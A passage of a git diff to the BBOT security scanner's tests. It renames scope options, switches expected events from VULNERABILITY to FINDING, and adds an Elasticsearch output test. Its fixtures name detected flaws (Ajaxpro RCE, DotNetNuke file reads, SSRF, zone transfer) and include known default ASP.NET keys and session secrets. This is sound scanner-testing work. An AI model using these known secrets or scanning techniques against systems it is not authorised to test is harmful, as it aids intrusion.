= BBOTTarget( - "evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_scope=True + seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_dns_scope=True ) - bbottarget8 = BBOTTarget("1.2.3.0/24", whitelist=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"]) - bbottarget9 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"]) + bbottarget8 = BBOTTarget(seeds=["1.2.3.0/24"], target=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"]) + bbottarget9 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) # make sure it's a sha1 hash assert isinstance(bbottarget1.hash, bytes) @@ -197,9 +198,9 @@ async def test_target_basic(bbot_scanner): assert bbottarget1 == bbottarget3 assert bbottarget3 == bbottarget1 - # adding different events (but with same host) to whitelist should not change hash (since only hosts matter) - bbottarget1.whitelist.add("http://evilcorp.co.nz") - bbottarget2.whitelist.add("evilcorp.co.nz") + # adding different events (but with same host) to target should not change hash (since only hosts matter) + bbottarget1.target.add("http://evilcorp.co.nz") + bbottarget2.target.add("evilcorp.co.nz") assert bbottarget1 == bbottarget2 assert bbottarget2 == bbottarget1 @@ -209,32 +210,32 @@ async def test_target_basic(bbot_scanner): assert bbottarget1 != bbottarget2 assert bbottarget2 != bbottarget1 - # make sure strict_scope is considered in hash + # make sure strict_dns_scope is considered in hash assert bbottarget5 != bbottarget6 assert bbottarget6 != bbottarget5 - # make sure swapped target <--> whitelist result in different hash + # make sure swapped target <--> blacklist result in different hash assert bbottarget8 != bbottarget9 assert bbottarget9 != bbottarget8 # make sure duplicate events don't change hash - target1 = BBOTTarget("https://evilcorp.com") - target2 = BBOTTarget("https://evilcorp.com") + target1 = BBOTTarget(target=["https://evilcorp.com"]) + target2 = BBOTTarget(target=["https://evilcorp.com"]) assert target1 == target2 target1.seeds.add("https://evilcorp.com:443") assert target1 == target2 - # make sure hosts are collapsed in whitelist and blacklist + # make sure hosts are collapsed in target and blacklist bbottarget = BBOTTarget( - "http://evilcorp.com:8080", - whitelist=["evilcorp.net:443", "http://evilcorp.net:8080"], + seeds=["http://evilcorp.com:8080"], + target=["evilcorp.net:443", "http://evilcorp.net:8080"], blacklist=["http://evilcorp.org:8080", "evilcorp.org:443"], ) # base class is not iterable with pytest.raises(TypeError): assert list(bbottarget) == ["http://evilcorp.com:8080/"] assert {e.data for e in bbottarget.seeds} == {"http://evilcorp.com:8080/"} - assert {e.data for e in bbottarget.whitelist} == {"evilcorp.net:443", "http://evilcorp.net:8080/"} + assert {e.data for e in bbottarget.target} == {"evilcorp.net:443", "http://evilcorp.net:8080/"} assert {e.data for e in bbottarget.blacklist} == {"http://evilcorp.org:8080/", "evilcorp.org:443"} # test org stub as target @@ -265,10 +266,8 @@ async def test_target_basic(bbot_scanner): # verify hash values bbottarget = BBOTTarget( - "1.2.3.0/24", - "http://www.evilcorp.net", - "bob@fdsa.evilcorp.net", - whitelist=["evilcorp.com", "bob@www.evilcorp.com", "evilcorp.net"], + seeds=["1.2.3.0/24", "http://www.evilcorp.net", "bob@fdsa.evilcorp.net"], + target=["evilcorp.com", "bob@www.evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4", "4.3.2.1/24", "http://1.2.3.4", "bob@asdf.evilcorp.net"], ) assert {e.data for e in bbottarget.seeds.event_seeds} == { @@ -276,7 +275,7 @@ async def test_target_basic(bbot_scanner): "http://www.evilcorp.net/", "bob@fdsa.evilcorp.net", } - assert {e.data for e in bbottarget.whitelist.event_seeds} == { + assert {e.data for e in bbottarget.target.event_seeds} == { "evilcorp.com", "evilcorp.net", "bob@www.evilcorp.com", @@ -288,19 +287,19 @@ async def test_target_basic(bbot_scanner): "bob@asdf.evilcorp.net", } assert set(bbottarget.seeds.hosts) == {ip_network("1.2.3.0/24"), "www.evilcorp.net", "fdsa.evilcorp.net"} - assert set(bbottarget.whitelist.hosts) == {"evilcorp.com", "evilcorp.net"} + assert set(bbottarget.target.hosts) == {"evilcorp.com", "evilcorp.net"} assert set(bbottarget.blacklist.hosts) == {ip_network("1.2.3.4/32"), ip_network("4.3.2.0/24"), "asdf.evilcorp.net"} assert bbottarget.hash == b"\xb3iU\xa8#\x8aq\x84/\xc5\xf2;\x11\x11\x0c&\xea\x07\xd4Q" assert bbottarget.scope_hash == b"f\xe1\x01c^3\xf5\xd24B\x87P\xa0Glq0p3J" assert bbottarget.seeds.hash == b"V\n\xf5\x1d\x1f=i\xbc\\\x15o\xc2p\xb2\x84\x97\xfeR\xde\xc1" - assert bbottarget.whitelist.hash == b"\x8e\xd0\xa76\x8em4c\x0e\x1c\xfdA\x9d*sv}\xeb\xc4\xc4" + assert bbottarget.target.hash == b"\x8e\xd0\xa76\x8em4c\x0e\x1c\xfdA\x9d*sv}\xeb\xc4\xc4" assert bbottarget.blacklist.hash == b'\xf7\xaf\xa1\xda4"C:\x13\xf42\xc3,\xc3\xa9\x9f\x15\x15n\\' scan = bbot_scanner( - "http://www.evilcorp.net", - "1.2.3.0/24", - "bob@fdsa.evilcorp.net", - whitelist=["evilcorp.net", "evilcorp.com", "bob@www.evilcorp.com"], + "evilcorp.net", + "evilcorp.com", + "bob@www.evilcorp.com", + seeds=["http://www.evilcorp.net", "1.2.3.0/24", "bob@fdsa.evilcorp.net"], blacklist=["bob@asdf.evilcorp.net", "1.2.3.4", "4.3.2.1/24", "http://1.2.3.4"], ) events = [e async for e in scan.async_start()] @@ -309,16 +308,16 @@ async def test_target_basic(bbot_scanner): target_dict = scan_events[0].data["target"] assert target_dict["seeds"] == ["1.2.3.0/24", "bob@fdsa.evilcorp.net", "http://www.evilcorp.net/"] - assert target_dict["whitelist"] == ["bob@www.evilcorp.com", "evilcorp.com", "evilcorp.net"] + assert target_dict["target"] == ["bob@www.evilcorp.com", "evilcorp.com", "evilcorp.net"] assert target_dict["blacklist"] == ["1.2.3.4", "4.3.2.0/24", "bob@asdf.evilcorp.net", "http://1.2.3.4/"] - assert target_dict["strict_scope"] is False + assert target_dict["strict_dns_scope"] is False assert target_dict["hash"] == "b36955a8238a71842fc5f23b11110c26ea07d451" assert target_dict["seed_hash"] == "560af51d1f3d69bc5c156fc270b28497fe52dec1" - assert target_dict["whitelist_hash"] == "8ed0a7368e6d34630e1cfd419d2a73767debc4c4" + assert target_dict["target_hash"] == "8ed0a7368e6d34630e1cfd419d2a73767debc4c4" assert target_dict["blacklist_hash"] == "f7afa1da3422433a13f432c32cc3a99f15156e5c" assert target_dict["scope_hash"] == "66e101635e33f5d234428750a0476c713070334a" - # make sure child subnets/IPs don't get added to whitelist/blacklist + # make sure child subnets/IPs don't get added to target/blacklist target = RadixTarget("1.2.3.4/24", "1.2.3.4/28", acl_mode=True) assert set(target) == {ip_network("1.2.3.0/24")} target = RadixTarget("1.2.3.4/28", "1.2.3.4/24", acl_mode=True) @@ -334,7 +333,7 @@ async def test_target_basic(bbot_scanner): target = RadixTarget("www.evilcorp.com", "evilcorp.com", acl_mode=True) assert set(target) == {"evilcorp.com"} - # make sure strict_scope doesn't mess us up + # make sure strict_dns_scope doesn't mess us up target = RadixTarget("evilcorp.co.uk", "www.evilcorp.co.uk", acl_mode=True, strict_dns_scope=True) assert set(target.hosts) == {"evilcorp.co.uk", "www.evilcorp.co.uk"} assert "evilcorp.co.uk" in target @@ -367,12 +366,12 @@ async def test_asn_targets(bbot_scanner): assert event_seed.data == "15169" assert event_seed.input == "ASN:15169" - # Test ASN targets in BBOTTarget - target = BBOTTarget("ASN:15169") + # Test ASN targets in BBOTTarget (target= is the primary input; seeds auto-populate from target) + target = BBOTTarget(target=["ASN:15169"]) assert "ASN:15169" in target.seeds.inputs # Test ASN with other targets - target = BBOTTarget("ASN:15169", "evilcorp.com", "1.2.3.4/24") + target = BBOTTarget(target=["ASN:15169", "evilcorp.com", "1.2.3.4/24"]) assert "ASN:15169" in target.seeds.inputs assert "evilcorp.com" in target.seeds.inputs assert "1.2.3.0/24" in target.seeds.inputs # IP ranges are normalized to network address @@ -380,7 +379,7 @@ async def test_asn_targets(bbot_scanner): # Test ASN targets must be expanded before being useful in whitelist/blacklist # Direct ASN targets in whitelist/blacklist don't work since they have no host # Instead, test that the ASN input is captured correctly - target = BBOTTarget("evilcorp.com") + target = BBOTTarget(target=["evilcorp.com"]) # ASN targets should be added to seeds, not whitelist/blacklist directly target.seeds.add("ASN:15169") assert "ASN:15169" in target.seeds.inputs @@ -403,7 +402,7 @@ def __init__(self): self.asn = MockASNHelper() # Test target expansion - target = BBOTTarget("ASN:15169") + target = BBOTTarget(target=["ASN:15169"]) mock_helpers = MockHelpers() # Verify initial state @@ -421,9 +420,9 @@ def __init__(self): assert ip_network("8.8.8.0/24") in target.seeds.hosts assert ip_network("8.8.4.0/24") in target.seeds.hosts - # Whitelist should also include the expanded ranges - assert ip_network("8.8.8.0/24") in target.whitelist.hosts - assert ip_network("8.8.4.0/24") in target.whitelist.hosts + # Target scope should also include the expanded ranges + assert ip_network("8.8.8.0/24") in target.target.hosts + assert ip_network("8.8.4.0/24") in target.target.hosts @pytest.mark.asyncio @@ -512,7 +511,7 @@ class MockEmptyHelpers: def __init__(self): self.asn = MockEmptyASNHelper() - target = BBOTTarget("ASN:99999") # Non-existent ASN + target = BBOTTarget(target=["ASN:99999"]) # Non-existent ASN mock_helpers = MockEmptyHelpers() initial_seeds = len(target.seeds.event_seeds) @@ -524,7 +523,7 @@ def __init__(self): # Test that ASN blacklisting would happen after expansion # Since ASN targets can't be directly added to blacklist (no host), # the proper way would be to expand the ASN and then blacklist the IP ranges - target = BBOTTarget("evilcorp.com") + target = BBOTTarget(target=["evilcorp.com"]) # This demonstrates the intended usage pattern - add expanded IP ranges to blacklist target.blacklist.add("8.8.8.0/24") # Would come from ASN expansion assert "8.8.8.0/24" in target.blacklist.inputs diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index ec56e36f8b..42baa3b897 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -294,7 +294,7 @@ async def test_web_interactsh(bbot_scanner, bbot_httpserver): scan1 = bbot_scanner("8.8.8.8") await scan1._prep() - scan1.status = "RUNNING" + await scan1._set_status("RUNNING") interactsh_client = scan1.helpers.interactsh(poll_interval=3) interactsh_client2 = scan1.helpers.interactsh(poll_interval=3) diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 40f5209de1..48ab7ec497 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -15,7 +15,7 @@ class ModuleTestBase: targets = ["blacklanternsecurity.com"] scan_name = None blacklist = None - whitelist = None + seeds = None module_name = None config_overrides = {} modules_overrides = None @@ -53,13 +53,15 @@ def __init__( elif module_type == "internal" and not module == "dnsresolve": self.config = OmegaConf.merge(self.config, {module: True}) + seeds = module_test_base.seeds or None + self.scan = Scanner( *module_test_base.targets, modules=modules, output_modules=output_modules, scan_name=module_test_base._scan_name, config=self.config, - whitelist=module_test_base.whitelist, + seeds=seeds, blacklist=module_test_base.blacklist, force_start=getattr(module_test_base, "force_start", False), ) @@ -158,3 +160,19 @@ async def setup_before_prep(self, module_test): async def setup_after_prep(self, module_test): pass + + async def wait_for_port_open(self, port): + while not await self.is_port_open("localhost", port): + self.log.verbose(f"Waiting for port {port} to be open...") + await asyncio.sleep(0.5) + # allow an extra second for things to settle + await asyncio.sleep(1) + + async def is_port_open(self, host, port): + try: + reader, writer = await asyncio.open_connection(host, port) + writer.close() + await writer.wait_closed() + return True + except (ConnectionRefusedError, OSError): + return False diff --git a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py index b917de42ca..7cbbbb783c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py +++ b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py @@ -35,7 +35,7 @@ def check(self, module_test, events): for e in events: if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Ajaxpro Deserialization RCE (CVE-2021-23758)" in e.data["description"] and "http://127.0.0.1:8888/ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx" in e.data["description"] diff --git a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py index ca14ff7d03..f86578ebac 100644 --- a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py +++ b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py @@ -62,12 +62,12 @@ async def setup_before_prep(self, module_test): module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - vulnerability_found = False + finding_found = False for e in events: - if e.type == "VULNERABILITY" and "IIS Bin Directory DLL Exposure" in e.data["description"]: - vulnerability_found = True + if e.type == "FINDING" and "IIS Bin Directory DLL Exposure" in e.data["description"]: + finding_found = True assert e.data["severity"] == "HIGH", "Vulnerability severity should be HIGH" assert "Detection Url" in e.data["description"], "Description should include detection URL" break - assert vulnerability_found, "No vulnerability event was found" + assert finding_found, "No finding event was found" diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns.py b/bbot/test/test_step_2/module_tests/test_module_baddns.py index 877e973b2b..2d5d476d05 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns.py @@ -32,7 +32,7 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "baddns.azurewebsites.net" for e in events), "CNAME detection failed" - assert any(e.type == "VULNERABILITY" for e in events), "Failed to emit VULNERABILITY" + assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING" assert any("baddns-cname" in e.tags for e in events), "Failed to add baddns tag" @@ -61,7 +61,7 @@ def set_target(self, target): def check(self, module_test, events): assert any(e for e in events) - assert any(e.type == "VULNERABILITY" and "bigcartel.com" in e.data["description"] for e in events), ( - "Failed to emit VULNERABILITY" + assert any(e.type == "FINDING" and "bigcartel.com" in e.data["description"] for e in events), ( + "Failed to emit FINDING" ) assert any("baddns-cname" in e.tags for e in events), "Failed to add baddns tag" diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py index d8138a3f7c..10da342217 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns_zone.py @@ -38,7 +38,7 @@ def from_xfr(*args, **kwargs): def check(self, module_test, events): assert any(e.data == "zzzz.bad.dns" for e in events), "Zone transfer failed (1)" assert any(e.data == "asdf.bad.dns" for e in events), "Zone transfer failed (2)" - assert any(e.type == "VULNERABILITY" for e in events), "Failed to emit VULNERABILITY" + assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING" assert any("baddns-zonetransfer" in e.tags for e in events), "Failed to add baddns tag" @@ -58,5 +58,5 @@ async def setup_after_prep(self, module_test): def check(self, module_test, events): assert any(e.data == "zzzz.bad.dns" for e in events), "NSEC Walk Failed (1)" assert any(e.data == "xyz.bad.dns" for e in events), "NSEC Walk Failed (2)" - assert any(e.type == "VULNERABILITY" for e in events), "Failed to emit VULNERABILITY" + assert any(e.type == "FINDING" for e in events), "Failed to emit FINDING" assert any("baddns-nsec" in e.tags for e in events), "Failed to add baddns tag" diff --git a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py index 9eda654eb6..60c26bd7ed 100644 --- a/bbot/test/test_step_2/module_tests/test_module_badsecrets.py +++ b/bbot/test/test_step_2/module_tests/test_module_badsecrets.py @@ -79,7 +79,7 @@ def check(self, module_test, events): for e in events: if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Known Secret Found." in e.data["description"] and "validationKey: 0F97BAE23F6F36801ABDB5F145124E00A6F795A97093D778EE5CD24F35B78B6FC4C0D0D4420657689C4F321F8596B59E83F02E296E970C4DEAD2DFE226294979 validationAlgo: SHA1 encryptionKey: 8CCFBC5B7589DD37DC3B4A885376D7480A69645DAEEC74F418B4877BEC008156 encryptionAlgo: AES" in e.data["description"] @@ -94,7 +94,7 @@ def check(self, module_test, events): IdentifyOnly = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "1234" in e.data["description"] and "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo" in e.data["description"] @@ -102,7 +102,7 @@ def check(self, module_test, events): CookieBasedDetection = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "keyboard cat" in e.data["description"] and "s%3A8FnPwdeM9kdGTZlWvdaVtQ0S1BCOhY5G.qys7H2oGSLLdRsEq7sqh7btOohHsaRKqyjV4LiVnBvc" in e.data["description"] @@ -110,7 +110,7 @@ def check(self, module_test, events): CookieBasedDetection_2 = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Express.js Secret (cookie-session)" in e.data["description"] and "zOQU7v7aTe_3zu7tnVuHi1MJ2DU" in e.data["description"] ): @@ -122,6 +122,15 @@ def check(self, module_test, events): assert CookieBasedDetection_2, "No Express.js cookie vuln detected" assert CookieBasedDetection_3, "No Express.js (cs dual cookies) vuln detected" + # Verify that badsecrets emits CONFIRMED confidence for detected secrets + confirmed_finding = None + for e in events: + if e.type == "FINDING" and "Known Secret Found." in e.data["description"]: + confirmed_finding = e + break + if confirmed_finding: + assert confirmed_finding.data["confidence"] == "CONFIRMED" + class TestBadSecrets_customsecrets(TestBadSecrets): config_overrides = { @@ -156,7 +165,7 @@ def check(self, module_test, events): SecretFound = False for e in events: if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "Known Secret Found." in e.data["description"] and "DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEF" in e.data["description"] ): diff --git a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py index 3ef6f71b13..02477aadca 100644 --- a/bbot/test/test_step_2/module_tests/test_module_censys_ip.py +++ b/bbot/test/test_step_2/module_tests/test_module_censys_ip.py @@ -199,7 +199,7 @@ def check(self, module_test, events): e.type == "TECHNOLOGY" and e.data["technology"] == "cpe:2.3:a:apache:tomcat:9.0.50:*:*:*:*:*:*:*" for e in events ), "Failed to detect Apache Tomcat technology with CPE" - assert any(e.type == "TECHNOLOGY" and e.data["technology"] == "Java" for e in events), ( + assert any(e.type == "TECHNOLOGY" and e.data["technology"] == "java" for e in events), ( "Failed to detect Java technology without CPE" ) diff --git a/bbot/test/test_step_2/module_tests/test_module_csv.py b/bbot/test/test_step_2/module_tests/test_module_csv.py index 5a9575372d..206b9301aa 100644 --- a/bbot/test/test_step_2/module_tests/test_module_csv.py +++ b/bbot/test/test_step_2/module_tests/test_module_csv.py @@ -11,5 +11,5 @@ def check(self, module_test, events): with open(csv_file) as f: data = f.read() - assert "blacklanternsecurity.com,127.0.0.5,TARGET" in data + assert "blacklanternsecurity.com,127.0.0.5,SEED" in data assert context_data in data diff --git a/bbot/test/test_step_2/module_tests/test_module_discord.py b/bbot/test/test_step_2/module_tests/test_module_discord.py index d1aeb5c60f..73b6e864e4 100644 --- a/bbot/test/test_step_2/module_tests/test_module_discord.py +++ b/bbot/test/test_step_2/module_tests/test_module_discord.py @@ -8,7 +8,7 @@ class TestDiscord(ModuleTestBase): modules_overrides = ["discord", "excavate", "badsecrets", "httpx"] webhook_url = "https://discord.com/api/webhooks/1234/deadbeef-P-uF-asdf" - config_overrides = {"modules": {"discord": {"webhook_url": webhook_url}}} + config_overrides = {"modules": {"discord": {"webhook_url": webhook_url, "min_severity": "INFORMATIONAL"}}} def custom_setup(self, module_test): respond_args = { @@ -34,8 +34,6 @@ def custom_response(request: httpx.Request): module_test.httpx_mock.add_callback(custom_response, url=self.webhook_url) def check(self, module_test, events): - vulns = [e for e in events if e.type == "VULNERABILITY"] findings = [e for e in events if e.type == "FINDING"] - assert len(findings) == 1 - assert len(vulns) == 2 + assert len(findings) == 3 assert module_test.request_count == 4 diff --git a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py index 53c6ff21be..e2b0438b0b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnscommonsrv.py @@ -2,8 +2,8 @@ class TestDNSCommonSRV(ModuleTestBase): - targets = ["media.www.test.api.blacklanternsecurity.com"] - whitelist = ["blacklanternsecurity.com"] + seeds = ["media.www.test.api.blacklanternsecurity.com"] + targets = ["blacklanternsecurity.com"] modules_overrides = ["dnscommonsrv", "speculate"] config_overrides = {"dns": {"minimal": False}} diff --git a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py index 48f35e0f81..65835e9492 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py +++ b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py @@ -92,29 +92,26 @@ def check(self, module_test, events): dnn_installwizard_privesc_detection = False for e in events: - if e.type == "TECHNOLOGY" and "DotNetNuke" in e.data["technology"]: + if e.type == "TECHNOLOGY" and "dotnetnuke" in e.data["technology"]: dnn_technology_detection = True - if ( - e.type == "VULNERABILITY" - and "DotNetNuke Personalization Cookie Deserialization" in e.data["description"] - ): + if e.type == "FINDING" and "DotNetNuke Personalization Cookie Deserialization" in e.data["description"]: dnn_personalization_deserialization_detection = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "DotNetNuke DNNArticle Module GetCSS.ashx Arbitrary File Read" in e.data["description"] ): dnn_getcss_fileread_detection = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "DotNetNuke dnnUI_NewsArticlesSlider Module Arbitrary File Read" in e.data["description"] ): dnn_imagehandler_fileread_detection = True if ( - e.type == "VULNERABILITY" + e.type == "FINDING" and "DotNetNuke InstallWizard SuperUser Privilege Escalation" in e.data["description"] ): dnn_installwizard_privesc_detection = True @@ -174,10 +171,10 @@ def check(self, module_test, events): dnn_dnnimagehandler_blindssrf = False for e in events: - if e.type == "TECHNOLOGY" and "DotNetNuke" in e.data["technology"]: + if e.type == "TECHNOLOGY" and "dotnetnuke" in e.data["technology"]: dnn_technology_detection = True - if e.type == "VULNERABILITY" and "DotNetNuke Blind-SSRF (CVE 2017-0929)" in e.data["description"]: + if e.type == "FINDING" and "DotNetNuke Blind-SSRF (CVE 2017-0929)" in e.data["description"]: dnn_dnnimagehandler_blindssrf = True assert dnn_technology_detection, "DNN Technology Detection Failed" diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py new file mode 100644 index 0000000000..9846f02246 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -0,0 +1,123 @@ +import time +import httpx +import asyncio + +from .base import ModuleTestBase + + +class TestElastic(ModuleTestBase): + config_overrides = { + "modules": { + "elastic": { + "url": "https://localhost:9200/bbot_test_events/_doc", + "username": "elastic", + "password": "bbotislife", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start Elasticsearch container + await asyncio.create_subprocess_exec( + "docker", + "run", + "--name", + "bbot-test-elastic", + "--rm", + "-e", + "ELASTIC_PASSWORD=bbotislife", + "-e", + "cluster.routing.allocation.disk.watermark.low=96%", + "-e", + "cluster.routing.allocation.disk.watermark.high=97%", + "-e", + "cluster.routing.allocation.disk.watermark.flood_stage=98%", + "-p", + "9200:9200", + "-d", + "docker.elastic.co/elasticsearch/elasticsearch:8.16.0", + ) + + # Connect to Elasticsearch with retry logic + async with httpx.AsyncClient(verify=False) as client: + while True: + try: + # Attempt a simple operation to confirm the connection + response = await client.get("https://localhost:9200/_cat/health", auth=("elastic", "bbotislife")) + response.raise_for_status() + break + except Exception as e: + self.log.verbose(f"Connection failed: {e}. Retrying...") + time.sleep(0.5) + + # Ensure the index is empty + await client.delete("https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) + + async def check(self, module_test, events): + try: + from bbot.models.pydantic import Event + + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + # Connect to Elasticsearch + async with httpx.AsyncClient(verify=False) as client: + # Fetch all events from the index + response = await client.get( + "https://localhost:9200/bbot_test_events/_search?size=100", auth=("elastic", "bbotislife") + ) + response_json = response.json() + db_events = [hit["_source"] for hit in response_json["hits"]["hits"]] + + # make sure we have the same number of events + assert len(events_json) == len(db_events) + + for db_event in db_events: + assert isinstance(db_event["timestamp"], float) + assert isinstance(db_event["inserted_at"], float) + + # Convert to Pydantic objects and dump them + db_events_pydantic = [Event(**e).model_dump(exclude_none=True) for e in db_events] + db_events_pydantic.sort(key=lambda x: x["timestamp"]) + + # Find the main event with type DNS_NAME and data blacklanternsecurity.com + main_event = next( + ( + e + for e in db_events_pydantic + if e.get("type") == "DNS_NAME" and e.get("data") == "blacklanternsecurity.com" + ), + None, + ) + assert main_event is not None, ( + "Main event with type DNS_NAME and data blacklanternsecurity.com not found" + ) + + # Ensure it has the reverse_host attribute + expected_reverse_host = "blacklanternsecurity.com"[::-1] + assert main_event.get("reverse_host") == expected_reverse_host, ( + f"reverse_host attribute is not correct, expected {expected_reverse_host}" + ) + + # Events don't match exactly because the elastic ones have reverse_host and inserted_at + assert events_json != db_events_pydantic + for db_event in db_events_pydantic: + db_event.pop("reverse_host", None) + db_event.pop("inserted_at", None) + db_event.pop("archived", None) + # They should match after removing reverse_host + assert events_json == db_events_pydantic, "Events do not match" + + finally: + # Clean up: Delete all documents in the index + async with httpx.AsyncClient(verify=False) as client: + response = await client.delete( + "https://localhost:9200/bbot_test_events", + auth=("elastic", "bbotislife"), + params={"ignore": "400,404"}, + ) + self.log.verbose("Deleted documents from index") + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-elastic", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 085ca0a45d..259146fe41 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -11,7 +11,7 @@ class TestExcavate(ModuleTestBase): targets = ["http://127.0.0.1:8888/", "test.notreal", "http://127.0.0.1:8888/subdir/links.html"] modules_overrides = ["excavate", "httpx"] - config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}} + config_overrides = {"web": {"spider_distance": 1, "spider_depth": 1}, "omit_event_types": []} async def setup_before_prep(self, module_test): response_data = """ @@ -211,18 +211,16 @@ def check(self, module_test, events): if e.type == "FINDING" and "JWT" in e.data["description"] and str(e.module) == "excavate" ] ) - found_badsecrets_vulnerability = bool( - [e for e in events if e.type == "VULNERABILITY" and str(e.module) == "badsecrets"] - ) + found_badsecrets_finding = bool([e for e in events if e.type == "FINDING" and str(e.module) == "badsecrets"]) assert found_js_url_event, "Failed to find URL event for script.js" - assert found_badsecrets_vulnerability, "Failed to find BADSECRETs event from script.js" + assert found_badsecrets_finding, "Failed to find BADSECRETs finding from script.js" assert found_excavate_jwt_finding, "Failed to find JWT finding from script.js" class TestExcavateRedirect(TestExcavate): targets = ["http://127.0.0.1:8888/", "http://127.0.0.1:8888/relative/", "http://127.0.0.1:8888/nonhttpredirect/"] - config_overrides = {"scope": {"report_distance": 1}} + config_overrides = {"scope": {"report_distance": 1}, "omit_event_types": []} async def setup_before_prep(self, module_test): # absolute redirect @@ -289,7 +287,7 @@ def check(self, module_test, events): class TestExcavateQuerystringRemoveTrue(TestExcavate): targets = ["http://127.0.0.1:8888/"] - config_overrides = {"url_querystring_remove": True, "url_querystring_collapse": True} + config_overrides = {"url_querystring_remove": True, "url_querystring_collapse": True, "omit_event_types": []} lots_of_params = """ @@ -314,7 +312,7 @@ def check(self, module_test, events): class TestExcavateQuerystringRemoveFalse(TestExcavateQuerystringRemoveTrue): - config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": True} + config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": True, "omit_event_types": []} def check(self, module_test, events): assert ( @@ -330,7 +328,7 @@ def check(self, module_test, events): class TestExcavateQuerystringCollapseFalse(TestExcavateQuerystringRemoveTrue): - config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": False} + config_overrides = {"url_querystring_remove": False, "url_querystring_collapse": False, "omit_event_types": []} def check(self, module_test, events): assert ( @@ -347,7 +345,7 @@ def check(self, module_test, events): class TestExcavateMaxLinksPerPage(TestExcavate): targets = ["http://127.0.0.1:8888/"] - config_overrides = {"web": {"spider_links_per_page": 10, "spider_distance": 1}} + config_overrides = {"web": {"spider_links_per_page": 10, "spider_distance": 1}, "omit_event_types": []} lots_of_links = """ @@ -1088,6 +1086,56 @@ class TestExcavateYaraCustom(TestExcavateYara): config_overrides = {"modules": {"excavate": {"custom_yara_rules": f}}} +class TestExcavateYaraConfidence(ModuleTestBase): + """Test YARA rules with confidence options.""" + + targets = ["http://127.0.0.1:8888/"] + modules_overrides = ["excavate", "httpx"] + + async def setup_before_prep(self, module_test): 